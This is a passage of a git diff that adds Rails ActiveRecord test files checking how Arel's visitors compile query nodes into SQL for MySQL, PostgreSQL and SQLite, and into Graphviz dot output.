+        @connection = Table.engine.lease_connection
+        @table = Table.new(:users)
+      end
+
+      it "dispatches properly after failing upwards" do
+        node = Nodes::Union.new(Nodes::True.new, Nodes::False.new)
+        assert_equal "( TRUE UNION FALSE )", node.to_sql
+
+        visitor = Class.new(Visitor) {
+          def visit_Arel_Nodes_Union(o); end
+          alias :visit_Arel_Nodes_True  :visit_Arel_Nodes_Union
+          alias :visit_Arel_Nodes_False :visit_Arel_Nodes_Union
+        }.new
+
+        visitor.accept(node)
+
+        assert_equal "( TRUE UNION FALSE )", node.to_sql
+      end
+
+      it "is threadsafe when implementing superclass fallback" do
+        visitor = DummyVisitor.new
+        main_thread_finished = Concurrent::Event.new
+
+        racing_thread = Thread.new do
+          Thread.current[:delay] = main_thread_finished
+          visitor.accept DummySubNode.new
+        end
+
+        assert_equal 42, visitor.accept(DummySubNode.new)
+        main_thread_finished.set
+
+        assert_equal 42, racing_thread.value
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/visitors/dot_test.rb b/activerecord/test/cases/arel/visitors/dot_test.rb
new file mode 100644
index 0000000000000..2ba6ba0359957
--- /dev/null
+++ b/activerecord/test/cases/arel/visitors/dot_test.rb
@@ -0,0 +1,265 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+require "active_model/attribute"
+
+module Arel
+  module Visitors
+    class TestDot < Arel::Test
+      def setup
+        @visitor = Visitors::Dot.new
+      end
+
+      def assert_edge(edge_name, dot_string)
+        assert_match(/->.*label="#{edge_name}"/, dot_string)
+      end
+
+      # functions
+      [
+        Nodes::Sum,
+        Nodes::Exists,
+        Nodes::Max,
+        Nodes::Min,
+        Nodes::Avg,
+      ].each do |klass|
+        define_method("test_#{klass.name.gsub('::', '_')}") do
+          op = klass.new(:a)
+          @visitor.accept op, Collectors::PlainString.new
+          pass
+        end
+      end
+
+      def test_named_function
+        func = Nodes::NamedFunction.new "omg", "omg"
+        @visitor.accept func, Collectors::PlainString.new
+        pass
+      end
+
+      # unary ops
+      [
+        Arel::Nodes::Not,
+        Arel::Nodes::Group,
+        Arel::Nodes::On,
+        Arel::Nodes::Grouping,
+        Arel::Nodes::Offset,
+        Arel::Nodes::Ordering,
+        Arel::Nodes::UnqualifiedColumn,
+        Arel::Nodes::ValuesList,
+        Arel::Nodes::Limit,
+      ].each do |klass|
+        define_method("test_#{klass.name.gsub('::', '_')}") do
+          op = klass.new(:a)
+          @visitor.accept op, Collectors::PlainString.new
+          pass
+        end
+      end
+
+      # binary ops
+      [
+        Arel::Nodes::Assignment,
+        Arel::Nodes::Between,
+        Arel::Nodes::DoesNotMatch,
+        Arel::Nodes::Equality,
+        Arel::Nodes::GreaterThan,
+        Arel::Nodes::GreaterThanOrEqual,
+        Arel::Nodes::In,
+        Arel::Nodes::LessThan,
+        Arel::Nodes::LessThanOrEqual,
+        Arel::Nodes::Matches,
+        Arel::Nodes::NotEqual,
+        Arel::Nodes::NotIn,
+        Arel::Nodes::TableAlias,
+        Arel::Nodes::As,
+        Arel::Nodes::JoinSource,
+        Arel::Nodes::Casted,
+      ].each do |klass|
+        define_method("test_#{klass.name.gsub('::', '_')}") do
+          binary = klass.new(:a, :b)
+          @visitor.accept binary, Collectors::PlainString.new
+          pass
+        end
+      end
+
+      # nary ops
+      [
+        Arel::Nodes::And,
+        Arel::Nodes::Or,
+      ].each do |klass|
+        define_method("test_#{klass.name.gsub('::', '_')}") do
+          binary = klass.new([:a, :b])
+          @visitor.accept binary, Collectors::PlainString.new
+          pass
+        end
+      end
+
+      def test_Arel_Nodes_BindParam
+        node = Arel::Nodes::BindParam.new(1)
+        collector = Collectors::PlainString.new
+        assert_match '[label="<f0>Arel::Nodes::BindParam"]', @visitor.accept(node, collector).value
+      end
+
+      def test_ActiveModel_Attribute
+        node = ActiveModel::Attribute.with_cast_value("LIMIT", 1, nil)
+        collector = Collectors::PlainString.new
+        assert_match '[label="<f0>ActiveModel::Attribute::WithCastValue"]', @visitor.accept(node, collector).value
+      end
+
+      def test_Arel_Nodes_CurrentRow
+        node = Arel::Nodes::CurrentRow.new
+        collector = Collectors::PlainString.new
+        assert_match '[label="<f0>Arel::Nodes::CurrentRow"]', @visitor.accept(node, collector).value
+      end
+
+      def test_Arel_Nodes_Distinct
+        node = Arel::Nodes::Distinct.new
+        collector = Collectors::PlainString.new
+        assert_match '[label="<f0>Arel::Nodes::Distinct"]', @visitor.accept(node, collector).value
+      end
+
+      def test_Arel_Nodes_Case_and_friends
+        foo = Arel::Nodes.build_quoted("foo")
+        node = Arel::Nodes::Case.new(foo)
+        node.conditions = [Arel::Nodes::When.new(foo, Arel::Nodes.build_quoted(1))]
+        node.default = Arel::Nodes::Else.new(Arel::Nodes.build_quoted(0))
+
+        dot = @visitor.accept(node, Arel::Collectors::PlainString.new).value
+
+        assert_match '[label="<f0>Arel::Nodes::Case"]', dot
+        assert_edge("case", dot)
+        assert_edge("conditions", dot)
+        assert_edge("default", dot)
+        assert_match '[label="<f0>Arel::Nodes::When"]', dot
+        assert_match '[label="<f0>Arel::Nodes::Else"]', dot
+        assert_match '[label="<f0>Arel::Nodes::Else"]', dot
+      end
+
+      def test_Arel_Nodes_InfixOperation
+        node = Arel::Nodes::InfixOperation.new("&&", Arel::Nodes.build_quoted(1), Arel::Nodes.build_quoted(2))
+
+        dot = @visitor.accept(node, Arel::Collectors::PlainString.new).value
+
+        assert_match '[label="<f0>Arel::Nodes::InfixOperation"]', dot
+        assert_edge("operator", dot)
+        assert_edge("left", dot)
+        assert_edge("right", dot)
+      end
+
+      def test_Arel_Nodes_RegExp
+        table = Table.new(:users)
+        node = Arel::Nodes::Regexp.new(table[:name], Nodes.build_quoted("foo%"))
+
+        dot = @visitor.accept(node, Arel::Collectors::PlainString.new).value
+
+        assert_match '[label="<f0>Arel::Nodes::Regexp"]', dot
+        assert_edge("left", dot)
+        assert_edge("right", dot)
+        assert_edge("case_sensitive", dot)
+      end
+
+      def test_Arel_Nodes_NotRegExp
+        table = Table.new(:users)
+        node = Arel::Nodes::NotRegexp.new(table[:name], Nodes.build_quoted("foo%"))
+
+        dot = @visitor.accept(node, Arel::Collectors::PlainString.new).value
+
+        assert_match '[label="<f0>Arel::Nodes::NotRegexp"]', dot
+        assert_edge("left", dot)
+        assert_edge("right", dot)
+        assert_edge("case_sensitive", dot)
+      end
+
+      def test_Arel_Nodes_UnaryOperation
+        node = Arel::Nodes::UnaryOperation.new(:-, 1)
+
+        dot = @visitor.accept(node, Arel::Collectors::PlainString.new).value
+
+        assert_match '[label="<f0>Arel::Nodes::UnaryOperation"]', dot
+        assert_edge("operator", dot)
+        assert_edge("expr", dot)
+      end
+
+      def test_Arel_Nodes_With
+        node = Arel::Nodes::With.new(["query1", "query2", "query3"])
+
+        dot = @visitor.accept(node, Arel::Collectors::PlainString.new).value
+
+        assert_match '[label="<f0>Arel::Nodes::With"]', dot
+        assert_edge("0", dot)
+        assert_edge("1", dot)
+        assert_edge("2", dot)
+      end
+
+      def test_Arel_Nodes_SelectCore
+        node = Arel::Nodes::SelectCore.new
+
+        dot = @visitor.accept(node, Arel::Collectors::PlainString.new).value
+
+        assert_match '[label="<f0>Arel::Nodes::SelectCore"]', dot
+        assert_edge("source", dot)
+        assert_edge("projections", dot)
+        assert_edge("wheres", dot)
+        assert_edge("windows", dot)
+        assert_edge("groups", dot)
+        assert_edge("comment", dot)
+        assert_edge("havings", dot)
+        assert_edge("set_quantifier", dot)
+        assert_edge("optimizer_hints", dot)
+      end
+
+      def test_Arel_Nodes_SelectStatement
+        node = Arel::Nodes::SelectStatement.new
+
+        dot = @visitor.accept(node, Arel::Collectors::PlainString.new).value
+
+        assert_match '[label="<f0>Arel::Nodes::SelectStatement"]', dot
+        assert_edge("cores", dot)
+        assert_edge("limit", dot)
+        assert_edge("orders", dot)
+        assert_edge("offset", dot)
+        assert_edge("lock", dot)
+        assert_edge("with", dot)
+      end
+
+      def test_Arel_Nodes_InsertStatement
+        node = Arel::Nodes::InsertStatement.new
+
+        dot = @visitor.accept(node, Arel::Collectors::PlainString.new).value
+
+        assert_match '[label="<f0>Arel::Nodes::InsertStatement"]', dot
+        assert_edge("relation", dot)
+        assert_edge("columns", dot)
+        assert_edge("values", dot)
+        assert_edge("select", dot)
+      end
+
+      def test_Arel_Nodes_UpdateStatement
+        node = Arel::Nodes::UpdateStatement.new
+
+        dot = @visitor.accept(node, Arel::Collectors::PlainString.new).value
+
+        assert_match '[label="<f0>Arel::Nodes::UpdateStatement"]', dot
+        assert_edge("relation", dot)
+        assert_edge("wheres", dot)
+        assert_edge("values", dot)
+        assert_edge("orders", dot)
+        assert_edge("limit", dot)
+        assert_edge("offset", dot)
+        assert_edge("key", dot)
+      end
+
+      def test_Arel_Nodes_DeleteStatement
+        node = Arel::Nodes::DeleteStatement.new
+
+        dot = @visitor.accept(node, Arel::Collectors::PlainString.new).value
+
+        assert_match '[label="<f0>Arel::Nodes::DeleteStatement"]', dot
+        assert_edge("relation", dot)
+        assert_edge("wheres", dot)
+        assert_edge("orders", dot)
+        assert_edge("limit", dot)
+        assert_edge("offset", dot)
+        assert_edge("key", dot)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/visitors/mysql_test.rb b/activerecord/test/cases/arel/visitors/mysql_test.rb
new file mode 100644
index 0000000000000..861ee6e63de7f
--- /dev/null
+++ b/activerecord/test/cases/arel/visitors/mysql_test.rb
@@ -0,0 +1,205 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Visitors
+    class MysqlTest < Arel::Spec
+      before do
+        @visitor = MySQL.new Table.engine.lease_connection
+      end
+
+      def compile(node)
+        @visitor.accept(node, Collectors::SQLString.new).value
+      end
+
+      ###
+      # :'(
+      # To retrieve all rows from a certain offset up to the end of the result set,
+      # you can use some large number for the second parameter.
+      # https://dev.mysql.com/doc/refman/en/select.html
+      it "defaults limit to 18446744073709551615" do
+        stmt = Nodes::SelectStatement.new
+        stmt.offset = Nodes::Offset.new(1)
+        sql = compile(stmt)
+        _(sql).must_be_like "SELECT FROM DUAL LIMIT 18446744073709551615 OFFSET 1"
+      end
+
+      it "should escape LIMIT" do
+        sc = Arel::Nodes::UpdateStatement.new
+        sc.relation = Table.new(:users)
+        sc.limit = Nodes::Limit.new(Nodes.build_quoted("omg"))
+        assert_equal("UPDATE \"users\" LIMIT 'omg'", compile(sc))
+      end
+
+      it "uses DUAL for empty from" do
+        stmt = Nodes::SelectStatement.new
+        sql = compile(stmt)
+        _(sql).must_be_like "SELECT FROM DUAL"
+      end
+
+      describe "locking" do
+        it "defaults to FOR UPDATE when locking" do
+          node = Nodes::Lock.new(Arel.sql("FOR UPDATE"))
+          _(compile(node)).must_be_like "FOR UPDATE"
+        end
+
+        it "allows a custom string to be used as a lock" do
+          node = Nodes::Lock.new(Arel.sql("LOCK IN SHARE MODE"))
+          _(compile(node)).must_be_like "LOCK IN SHARE MODE"
+        end
+      end
+
+      describe "concat" do
+        it "concats columns" do
+          @table = Table.new(:users)
+          query = @table[:name].concat(@table[:name])
+          _(compile(query)).must_be_like %{
+            CONCAT("users"."name", "users"."name")
+          }
+        end
+
+        it "concats a string" do
+          @table = Table.new(:users)
+          query = @table[:name].concat(Nodes.build_quoted("abc"))
+          _(compile(query)).must_be_like %{
+            CONCAT("users"."name", 'abc')
+          }
+        end
+      end
+
+      describe "Nodes::IsNotDistinctFrom" do
+        it "should construct a valid generic SQL statement" do
+          test = Table.new(:users)[:name].is_not_distinct_from "Aaron Patterson"
+          _(compile(test)).must_be_like %{
+            "users"."name" <=> 'Aaron Patterson'
+          }
+        end
+
+        it "should handle column names on both sides" do
+          test = Table.new(:users)[:first_name].is_not_distinct_from Table.new(:users)[:last_name]
+          _(compile(test)).must_be_like %{
+            "users"."first_name" <=> "users"."last_name"
+          }
+        end
+
+        it "should handle nil" do
+          @table = Table.new(:users)
+          val = Nodes.build_quoted(nil, @table[:active])
+          sql = compile Nodes::IsNotDistinctFrom.new(@table[:name], val)
+          _(sql).must_be_like %{ "users"."name" <=> NULL }
+        end
+      end
+
+      describe "Nodes::IsDistinctFrom" do
+        it "should handle column names on both sides" do
+          test = Table.new(:users)[:first_name].is_distinct_from Table.new(:users)[:last_name]
+          _(compile(test)).must_be_like %{
+            NOT "users"."first_name" <=> "users"."last_name"
+          }
+        end
+
+        it "should handle nil" do
+          @table = Table.new(:users)
+          val = Nodes.build_quoted(nil, @table[:active])
+          sql = compile Nodes::IsDistinctFrom.new(@table[:name], val)
+          _(sql).must_be_like %{ NOT "users"."name" <=> NULL }
+        end
+      end
+
+      describe "Nodes::Regexp" do
+        before do
+          @table = Table.new(:users)
+          @attr = @table[:id]
+        end
+
+        it "should know how to visit" do
+          node = @table[:name].matches_regexp("foo.*")
+          _(node).must_be_kind_of Nodes::Regexp
+          _(compile(node)).must_be_like %{
+            "users"."name" REGEXP 'foo.*'
+          }
+        end
+
+        it "can handle subqueries" do
+          subquery = @table.project(:id).where(@table[:name].matches_regexp("foo.*"))
+          node = @attr.in subquery
+          _(compile(node)).must_be_like %{
+            "users"."id" IN (SELECT id FROM "users" WHERE "users"."name" REGEXP 'foo.*')
+          }
+        end
+      end
+
+      describe "Nodes::NotRegexp" do
+        before do
+          @table = Table.new(:users)
+          @attr = @table[:id]
+        end
+
+        it "should know how to visit" do
+          node = @table[:name].does_not_match_regexp("foo.*")
+          _(node).must_be_kind_of Nodes::NotRegexp
+          _(compile(node)).must_be_like %{
+            "users"."name" NOT REGEXP 'foo.*'
+          }
+        end
+
+        it "can handle subqueries" do
+          subquery = @table.project(:id).where(@table[:name].does_not_match_regexp("foo.*"))
+          node = @attr.in subquery
+          _(compile(node)).must_be_like %{
+            "users"."id" IN (SELECT id FROM "users" WHERE "users"."name" NOT REGEXP 'foo.*')
+          }
+        end
+      end
+
+      describe "Nodes::Ordering" do
+        it "should handle nulls first" do
+          test = Table.new(:users)[:first_name].asc.nulls_first
+          _(compile(test)).must_be_like %{
+            "users"."first_name" IS NOT NULL, "users"."first_name" ASC
+          }
+        end
+
+        it "should handle nulls last" do
+          test = Table.new(:users)[:first_name].asc.nulls_last
+          _(compile(test)).must_be_like %{
+            "users"."first_name" IS NULL, "users"."first_name" ASC
+          }
+        end
+
+        it "should handle nulls first reversed" do
+          test = Table.new(:users)[:first_name].asc.nulls_first.reverse
+          _(compile(test)).must_be_like %{
+            "users"."first_name" IS NULL, "users"."first_name" DESC
+          }
+        end
+
+        it "should handle nulls last reversed" do
+          test = Table.new(:users)[:first_name].asc.nulls_last.reverse
+          _(compile(test)).must_be_like %{
+            "users"."first_name" IS NOT NULL, "users"."first_name" DESC
+          }
+        end
+      end
+
+      describe "Nodes::Cte" do
+        it "ignores MATERIALIZED modifiers" do
+          cte = Nodes::Cte.new("foo", Table.new(:bar).project(Arel.star), materialized: true)
+
+          _(compile(cte)).must_be_like %{
+            "foo" AS (SELECT * FROM "bar")
+          }
+        end
+
+        it "ignores NOT MATERIALIZED modifiers" do
+          cte = Nodes::Cte.new("foo", Table.new(:bar).project(Arel.star), materialized: false)
+
+          _(compile(cte)).must_be_like %{
+            "foo" AS (SELECT * FROM "bar")
+          }
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/visitors/postgres_test.rb b/activerecord/test/cases/arel/visitors/postgres_test.rb
new file mode 100644
index 0000000000000..8717334cbae2d
--- /dev/null
+++ b/activerecord/test/cases/arel/visitors/postgres_test.rb
@@ -0,0 +1,336 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Visitors
+    class PostgresTest < Arel::Spec
+      before do
+        @visitor = PostgreSQL.new Table.engine.lease_connection
+        @table = Table.new(:users)
+        @attr = @table[:id]
+      end
+
+      def compile(node)
+        @visitor.accept(node, Collectors::SQLString.new).value
+      end
+
+      describe "locking" do
+        it "defaults to FOR UPDATE" do
+          _(compile(Nodes::Lock.new(Arel.sql("FOR UPDATE")))).must_be_like %{
+            FOR UPDATE
+          }
+        end
+
+        it "allows a custom string to be used as a lock" do
+          node = Nodes::Lock.new(Arel.sql("FOR SHARE"))
+          _(compile(node)).must_be_like %{
+            FOR SHARE
+          }
+        end
+      end
+
+      it "should escape LIMIT" do
+        sc = Arel::Nodes::SelectStatement.new
+        sc.limit = Nodes::Limit.new(Nodes.build_quoted("omg"))
+        sc.cores.first.projections << Arel.sql("DISTINCT ON")
+        sc.orders << Arel.sql("xyz")
+        sql = compile(sc)
+        assert_match(/LIMIT 'omg'/, sql)
+        assert_equal 1, sql.scan(/LIMIT/).length, "should have one limit"
+      end
+
+      it "should support DISTINCT ON" do
+        core = Arel::Nodes::SelectCore.new
+        core.set_quantifier = Arel::Nodes::DistinctOn.new(Arel.sql("aaron"))
+        assert_match "DISTINCT ON ( aaron )", compile(core)
+      end
+
+      it "should support DISTINCT" do
+        core = Arel::Nodes::SelectCore.new
+        core.set_quantifier = Arel::Nodes::Distinct.new
+        assert_equal "SELECT DISTINCT", compile(core)
+      end
+
+      it "encloses LATERAL queries in parens" do
+        subquery = @table.project(:id).where(@table[:name].matches("foo%"))
+        _(compile(subquery.lateral)).must_be_like %{
+          LATERAL (SELECT id FROM "users" WHERE "users"."name" ILIKE 'foo%')
+        }
+      end
+
+      it "produces LATERAL queries with alias" do
+        subquery = @table.project(:id).where(@table[:name].matches("foo%"))
+        _(compile(subquery.lateral("bar"))).must_be_like %{
+          LATERAL (SELECT id FROM "users" WHERE "users"."name" ILIKE 'foo%') bar
+        }
+      end
+
+      describe "Nodes::Matches" do
+        it "should know how to visit" do
+          node = @table[:name].matches("foo%")
+          _(node).must_be_kind_of Nodes::Matches
+          _(node.case_sensitive).must_equal(false)
+          _(compile(node)).must_be_like %{
+            "users"."name" ILIKE 'foo%'
+          }
+        end
+
+        it "should know how to visit case sensitive" do
+          node = @table[:name].matches("foo%", nil, true)
+          _(node.case_sensitive).must_equal(true)
+          _(compile(node)).must_be_like %{
+            "users"."name" LIKE 'foo%'
+          }
+        end
+
+        it "can handle ESCAPE" do
+          node = @table[:name].matches("foo!%", "!")
+          _(compile(node)).must_be_like %{
+            "users"."name" ILIKE 'foo!%' ESCAPE '!'
+          }
+        end
+
+        it "can handle subqueries" do
+          subquery = @table.project(:id).where(@table[:name].matches("foo%"))
+          node = @attr.in subquery
+          _(compile(node)).must_be_like %{
+            "users"."id" IN (SELECT id FROM "users" WHERE "users"."name" ILIKE 'foo%')
+          }
+        end
+      end
+
+      describe "Nodes::DoesNotMatch" do
+        it "should know how to visit" do
+          node = @table[:name].does_not_match("foo%")
+          _(node).must_be_kind_of Nodes::DoesNotMatch
+          _(node.case_sensitive).must_equal(false)
+          _(compile(node)).must_be_like %{
+            "users"."name" NOT ILIKE 'foo%'
+          }
+        end
+
+        it "should know how to visit case sensitive" do
+          node = @table[:name].does_not_match("foo%", nil, true)
+          _(node.case_sensitive).must_equal(true)
+          _(compile(node)).must_be_like %{
+            "users"."name" NOT LIKE 'foo%'
+          }
+        end
+
+        it "can handle ESCAPE" do
+          node = @table[:name].does_not_match("foo!%", "!")
+          _(compile(node)).must_be_like %{
+            "users"."name" NOT ILIKE 'foo!%' ESCAPE '!'
+          }
+        end
+
+        it "can handle subqueries" do
+          subquery = @table.project(:id).where(@table[:name].does_not_match("foo%"))
+          node = @attr.in subquery
+          _(compile(node)).must_be_like %{
+            "users"."id" IN (SELECT id FROM "users" WHERE "users"."name" NOT ILIKE 'foo%')
+          }
+        end
+      end
+
+      describe "Nodes::Regexp" do
+        it "should know how to visit" do
+          node = @table[:name].matches_regexp("foo.*")
+          _(node).must_be_kind_of Nodes::Regexp
+          _(node.case_sensitive).must_equal(true)
+          _(compile(node)).must_be_like %{
+            "users"."name" ~ 'foo.*'
+          }
+        end
+
+        it "can handle case insensitive" do
+          node = @table[:name].matches_regexp("foo.*", false)
+          _(node).must_be_kind_of Nodes::Regexp
+          _(node.case_sensitive).must_equal(false)
+          _(compile(node)).must_be_like %{
+            "users"."name" ~* 'foo.*'
+          }
+        end
+
+        it "can handle subqueries" do
+          subquery = @table.project(:id).where(@table[:name].matches_regexp("foo.*"))
+          node = @attr.in subquery
+          _(compile(node)).must_be_like %{
+            "users"."id" IN (SELECT id FROM "users" WHERE "users"."name" ~ 'foo.*')
+          }
+        end
+      end
+
+      describe "Nodes::NotRegexp" do
+        it "should know how to visit" do
+          node = @table[:name].does_not_match_regexp("foo.*")
+          _(node).must_be_kind_of Nodes::NotRegexp
+          _(node.case_sensitive).must_equal(true)
+          _(compile(node)).must_be_like %{
+            "users"."name" !~ 'foo.*'
+          }
+        end
+
+        it "can handle case insensitive" do
+          node = @table[:name].does_not_match_regexp("foo.*", false)
+          _(node.case_sensitive).must_equal(false)
+          _(compile(node)).must_be_like %{
+            "users"."name" !~* 'foo.*'
+          }
+        end
+
+        it "can handle subqueries" do
+          subquery = @table.project(:id).where(@table[:name].does_not_match_regexp("foo.*"))
+          node = @attr.in subquery
+          _(compile(node)).must_be_like %{
+            "users"."id" IN (SELECT id FROM "users" WHERE "users"."name" !~ 'foo.*')
+          }
+        end
+      end
+
+      describe "Nodes::BindParam" do
+        it "increments each bind param" do
+          query = @table[:name].eq(Arel::Nodes::BindParam.new(1))
+            .and(@table[:id].eq(Arel::Nodes::BindParam.new(1)))
+          _(compile(query)).must_be_like %{
+            "users"."name" = $1 AND "users"."id" = $2
+          }
+        end
+      end
+
+      describe "Nodes::Cube" do
+        it "should know how to visit with array arguments" do
+          node = Arel::Nodes::Cube.new([@table[:name], @table[:bool]])
+          _(compile(node)).must_be_like %{
+            CUBE( "users"."name", "users"."bool" )
+          }
+        end
+
+        it "should know how to visit with CubeDimension Argument" do
+          dimensions = Arel::Nodes::GroupingElement.new([@table[:name], @table[:bool]])
+          node = Arel::Nodes::Cube.new(dimensions)
+          _(compile(node)).must_be_like %{
+            CUBE( "users"."name", "users"."bool" )
+          }
+        end
+
+        it "should know how to generate parenthesis when supplied with many Dimensions" do
+          dim1 = Arel::Nodes::GroupingElement.new(@table[:name])
+          dim2 = Arel::Nodes::GroupingElement.new([@table[:bool], @table[:created_at]])
+          node = Arel::Nodes::Cube.new([dim1, dim2])
+          _(compile(node)).must_be_like %{
+            CUBE( ( "users"."name" ), ( "users"."bool", "users"."created_at" ) )
+          }
+        end
+      end
+
+      describe "Nodes::GroupingSet" do
+        it "should know how to visit with array arguments" do
+          node = Arel::Nodes::GroupingSet.new([@table[:name], @table[:bool]])
+          _(compile(node)).must_be_like %{
+            GROUPING SETS( "users"."name", "users"."bool" )
+          }
+        end
+
+        it "should know how to visit with CubeDimension Argument" do
+          group = Arel::Nodes::GroupingElement.new([@table[:name], @table[:bool]])
+          node = Arel::Nodes::GroupingSet.new(group)
+          _(compile(node)).must_be_like %{
+            GROUPING SETS( "users"."name", "users"."bool" )
+          }
+        end
+
+        it "should know how to generate parenthesis when supplied with many Dimensions" do
+          group1 = Arel::Nodes::GroupingElement.new(@table[:name])
+          group2 = Arel::Nodes::GroupingElement.new([@table[:bool], @table[:created_at]])
+          node = Arel::Nodes::GroupingSet.new([group1, group2])
+          _(compile(node)).must_be_like %{
+            GROUPING SETS( ( "users"."name" ), ( "users"."bool", "users"."created_at" ) )
+          }
+        end
+      end
+
+      describe "Nodes::RollUp" do
+        it "should know how to visit with array arguments" do
+          node = Arel::Nodes::RollUp.new([@table[:name], @table[:bool]])
+          _(compile(node)).must_be_like %{
+            ROLLUP( "users"."name", "users"."bool" )
+          }
+        end
+
+        it "should know how to visit with CubeDimension Argument" do
+          group = Arel::Nodes::GroupingElement.new([@table[:name], @table[:bool]])
+          node = Arel::Nodes::RollUp.new(group)
+          _(compile(node)).must_be_like %{
+            ROLLUP( "users"."name", "users"."bool" )
+          }
+        end
+
+        it "should know how to generate parenthesis when supplied with many Dimensions" do
+          group1 = Arel::Nodes::GroupingElement.new(@table[:name])
+          group2 = Arel::Nodes::GroupingElement.new([@table[:bool], @table[:created_at]])
+          node = Arel::Nodes::RollUp.new([group1, group2])
+          _(compile(node)).must_be_like %{
+            ROLLUP( ( "users"."name" ), ( "users"."bool", "users"."created_at" ) )
+          }
+        end
+      end
+
+      describe "Nodes::IsNotDistinctFrom" do
+        it "should construct a valid generic SQL statement" do
+          test = Table.new(:users)[:name].is_not_distinct_from "Aaron Patterson"
+          _(compile(test)).must_be_like %{
+            "users"."name" IS NOT DISTINCT FROM 'Aaron Patterson'
+          }
+        end
+
+        it "should handle column names on both sides" do
+          test = Table.new(:users)[:first_name].is_not_distinct_from Table.new(:users)[:last_name]
+          _(compile(test)).must_be_like %{
+            "users"."first_name" IS NOT DISTINCT FROM "users"."last_name"
+          }
+        end
+
+        it "should handle nil" do
+          @table = Table.new(:users)
+          val = Nodes.build_quoted(nil, @table[:active])
+          sql = compile Nodes::IsNotDistinctFrom.new(@table[:name], val)
+          _(sql).must_be_like %{ "users"."name" IS NOT DISTINCT FROM NULL }
+        end
+      end
+
+      describe "Nodes::IsDistinctFrom" do
+        it "should handle column names on both sides" do
+          test = Table.new(:users)[:first_name].is_distinct_from Table.new(:users)[:last_name]
+          _(compile(test)).must_be_like %{
+            "users"."first_name" IS DISTINCT FROM "users"."last_name"
+          }
+        end
+
+        it "should handle nil" do
+          @table = Table.new(:users)
+          val = Nodes.build_quoted(nil, @table[:active])
+          sql = compile Nodes::IsDistinctFrom.new(@table[:name], val)
+          _(sql).must_be_like %{ "users"."name" IS DISTINCT FROM NULL }
+        end
+      end
+
+      describe "Nodes::InfixOperation" do
+        it "should handle Contains" do
+          inner = Nodes.build_quoted('{"foo":"bar"}')
+          outer = Table.new(:products)[:metadata]
+          sql = compile Nodes::Contains.new(outer, inner)
+          _(sql).must_be_like %{ "products"."metadata" @> '{"foo":"bar"}' }
+        end
+
+        it "should handle Overlaps" do
+          column = Table.new(:products)[:tags]
+          search = Nodes.build_quoted("{foo,bar,baz}")
+          sql = compile Nodes::Overlaps.new(column, search)
+          _(sql).must_be_like %{ "products"."tags" && '{foo,bar,baz}' }
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/visitors/sqlite_test.rb b/activerecord/test/cases/arel/visitors/sqlite_test.rb
new file mode 100644
index 0000000000000..8d651afd9accc
--- /dev/null
+++ b/activerecord/test/cases/arel/visitors/sqlite_test.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Visitors
+    class SqliteTest < Arel::Spec
+      before do
+        @visitor = SQLite.new Table.engine.lease_connection
+      end
+
+      def compile(node)
+        @visitor.accept(node, Collectors::SQLString.new).value
+      end
+
+      it "defaults limit to -1" do
+        stmt = Nodes::SelectStatement.new
+        stmt.offset = Nodes::Offset.new(1)
+        sql = @visitor.accept(stmt, Collectors::SQLString.new).value
+        _(sql).must_be_like "SELECT LIMIT -1 OFFSET 1"
+      end
+
+      it "does not support locking" do
+        node = Nodes::Lock.new(Arel.sql("FOR UPDATE"))
+        assert_equal "", @visitor.accept(node, Collectors::SQLString.new).value
+      end
+
+      describe "Nodes::IsNotDistinctFrom" do
+        it "should construct a valid generic SQL statement" do
+          test = Table.new(:users)[:name].is_not_distinct_from "Aaron Patterson"
+          _(compile(test)).must_be_like %{
+            "users"."name" IS 'Aaron Patterson'
+          }
+        end
+
+        it "should handle column names on both sides" do
+          test = Table.new(:users)[:first_name].is_not_distinct_from Table.new(:users)[:last_name]
+          _(compile(test)).must_be_like %{
+            "users"."first_name" IS "users"."last_name"
+          }
+        end
+
+        it "should handle nil" do
+          @table = Table.new(:users)
+          val = Nodes.build_quoted(nil, @table[:active])
+          sql = compile Nodes::IsNotDistinctFrom.new(@table[:name], val)
+          _(sql).must_be_like %{ "users"."name" IS NULL }
+        end
+      end
+
+      describe "Nodes::IsDistinctFrom" do
+        it "should handle column names on both sides" do
+          test = Table.new(:users)[:first_name].is_distinct_from Table.new(:users)[:last_name]
+          _(compile(test)).must_be_like %{
+            "users"."first_name" IS NOT "users"."last_name"
+          }
+        end
+
+        it "should handle nil" do
+          @table = Table.new(:users)
+          val = Nodes.build_quoted(nil, @table[:active])
+          sql = compile Nodes::IsDistinctFrom.new(@table[:name], val)
+          _(sql).must_be_like %{ "users"."name" IS NOT NULL }
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/visitors/to_sql_test.rb b/activerecord/test/cases/arel/visitors/to_sql_test.rb
new file mode 100644
index 0000000000000..7e22c53524a64
--- /dev/null
+++ b/activerecord/test/cases/arel/visitors/to_sql_test.rb
@@ -0,0 +1,1062 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+require "bigdecimal"
+
+module Arel
+  module Visitors
+    class ToSQLTest < Arel::Spec
+      describe "the to_sql visitor" do
+        before do
+          @conn = FakeRecord::Base.new
+          @visitor = ToSql.new @conn.lease_connection
+          @table = Table.new(:users)
+          @attr = @table[:id]
+        end
+
+        def compile(node)
+          @visitor.accept(node, Collectors::SQLString.new).value
+        end
+
+        it "works with BindParams" do
+          node = Nodes::BindParam.new(1)
+          sql = compile node
+          _(sql).must_be_like "?"
+        end
+
+        it "does not quote BindParams used as part of a ValuesList" do
+          bp = Nodes::BindParam.new(1)
+          values = Nodes::ValuesList.new([[bp]])
+          sql = compile values
+          _(sql).must_be_like "VALUES (?)"
+        end
+
+        it "can define a dispatch method" do
+          visited = false
+          viz = Class.new(Arel::Visitors::Visitor) {
+            define_method(:hello) do |node, c|
+              visited = true
+            end
+
+            def dispatch
+              { Arel::Table => "hello" }
+            end
+          }.new
+
+          viz.accept(@table, Collectors::SQLString.new)
+          assert visited, "hello method was called"
+        end
+
+        it "should not quote sql literals" do
+          node = @table[Arel.star]
+          sql = compile node
+          _(sql).must_be_like '"users".*'
+        end
+
